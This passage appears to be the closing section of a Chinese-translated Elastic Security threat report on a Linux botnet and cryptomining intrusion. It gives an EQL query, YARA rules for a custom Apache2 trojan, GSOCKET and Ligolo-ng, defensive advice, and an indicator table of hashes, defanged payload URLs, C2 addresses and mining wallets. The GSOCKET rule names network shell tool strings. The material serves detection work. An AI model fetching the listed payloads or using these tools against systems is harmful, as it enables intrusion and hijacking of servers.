process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

YARA

Elastic Security 创建了 YARA 规则来识别此活动。以下是用于识别自定义 Apache2 恶意软件的 YARA 规则

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://elastic.ac.cn/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

为了检测 GSOCKET(包括其几个相邻工具),我们创建了以下签名

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://elastic.ac.cn/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

最后,编写了以下签名来检测 开源 Ligolo-ng 工具,因为我们有理由相信此工具在此入侵期间被使用。

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://elastic.ac.cn/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

防御建议

为了有效防御恶意软件活动并最大程度地降低入侵风险,至关重要的是实施多层安全方法。以下是一些您应该优先考虑的关键防御措施

  1. 保持您的 Elastic 检测规则更新和启用:确保您的安全工具(包括任何预构建的检测规则)都是最新的。持续更新允许您的系统检测最新的恶意软件签名和行为。
  2. 在 Elastic Defend 中启用预防模式:将 Elastic Defend 配置为预防模式,以自动阻止已知的威胁,而不是仅对其发出警报。预防模式可确保主动防御恶意软件和漏洞。
  3. 监控警报和日志:定期监控警报、日志和服务器是否有任何可疑活动迹象。及早发现异常行为有助于防止小规模入侵升级为全面泄露。
  4. 进行威胁 Hunting:主动调查您的环境中可能已规避检测的隐藏威胁。威胁 Hunting 可以发现绕过传统安全措施的高级攻击和持久性恶意软件。
  5. 实施 Web 应用程序防火墙 (WAF):使用 WAF 来阻止未经授权或恶意流量。正确配置的防火墙可以阻止许多常见的 Web 攻击。
  6. 对 SSH 强制实施强身份验证:对 SSH 访问使用公钥/私钥身份验证,以防止暴力攻击。
  7. 编写安全代码:确保所有自定义软件(尤其是 Web 服务器技术)都遵循安全的编码实践。聘请专业安全审计员审查您的代码可以帮助在漏洞被利用之前识别并缓解它们。
  8. 定期修补和更新系统:保持服务器、应用程序和软件的最新状态对于防御已知漏洞至关重要。及时修补可以最大程度地降低被现成漏洞利用的目标的风险。

通过遵循这些建议,您可以显著减少攻击面,并加强对持续或潜在恶意软件威胁的防御。

观察结果

本研究讨论了以下可观察对象。这些对象可以以 STIX 或 ECS 格式从 此处 下载。

可观察对象类型名称参考
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1fSHA-256SystemdXCXMRIG
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684SHA-256apache2apache2_unpacked
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54ddSHA-256apache2_upx_packedapache2_upx_packed
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449eSHA-256download.shKAIJI Stager
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79SHA-256linux_386KAIJI x86
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8SHA-256linux_amd64KAIJI x64
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681bSHA-256linux_arm5KAIJI ARM5
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6SHA-256linux_arm6KAIJI ARM6
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4SHA-256linux_arm64KAIJI ARM64
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745SHA-256linux_arm7KAIJI ARM7
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0SHA-256linux_mipsKAIJI MIPS
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55SHA-256linux_mips64KAIJI MIPS64
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814SHA-256linux_mips64elKAIJI MIPS64 little-endian
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988SHA-256linux_mips_softfloatKAIJI MIPS softfloat
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527SHA-256linux_mipselKAIJI MIPS little-endian
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196SHA-256linux_mipsel_softfloatKAIJI MIPS little-endian softfloat
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344fSHA-256linux_ppc64KAIJI PPC64
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7SHA-256linux_ppc64elKAIJI PPC64 little-endian
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7SHA-256l64_v0RUDEDEVIL/LUFICER x64 version 0
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46SHA-256l64_v1RUDEDEVIL/LUFICER x64 version 1
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496aSHA-256l64_v2RUDEDEVIL/LUFICER x64 version 2
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055SHA-256l64_v3RUDEDEVIL/LUFICER x64 版本 3
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941bSHA-256l86_v0RUDEDEVIL/LUFICER x86 版本 0
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28cSHA-256l86_v1RUDEDEVIL/LUFICER x86 版本 1
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40SHA-256l86_v2RUDEDEVIL/LUFICER x86 版本 2
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5SHA-256l86_v3RUDEDEVIL/LUFICER x86 版本 3
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60SHA-256hjvhg.exe矿工
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1deSHA-256mvhhvcp3.exeDONUT 加载器
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976SHA-256vdfgb.exe矿工
http://gcp.pagaelrescate[.]com:8080/ifindyouurlifindyou.sh第一阶段
http://gcp.pagaelrescate[.]com:8080/cycneturlcycnet.sh第二阶段
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_sloturlEnviador_slot.py第三阶段
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXCurlSystemdXCXMRIG
http://38.54.125[.]192:8080/nginx-rcurlnginx-rcLIGOLO-NG
http://62.72.22[.]91/apache2urlapache2自定义恶意软件
http://62.72.22[.]91/apache2v86urlapache2v86自定义恶意软件
http://91.92.241[.]103:8002/gk.phpurlgk.phpPHP 后门
http://hfs.t1linux[.]com:7845/scdsshfkurlscdsshfkXMRIG
gcp.pagaelrescate[.]com域名REF 托管域名
nishabii[.]xyz域名RUDEDEVIL C2
3.147.53[.]183ipv4-地址Python 反向 Shell C2
38.54.125[.]192ipv4-地址C2 服务器
107.178.101[.]245ipv4-地址恶意软件文件服务器 (Rejetto)
62.72.22[.]91ipv4-地址托管恶意软件的服务器
91.92.241[.]103ipv4-地址C2 服务器
61.160.194[.]160ipv4-地址托管恶意软件的服务器
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHLXMR 钱包RUDEDEVIL/LUFICER 挖矿钱包
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4PtcXMR 钱包RUDEDEVIL/LUFICER 挖矿钱包
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBzBTC 钱包XMRIG 挖矿钱包

参考

以下内容在以上研究中被引用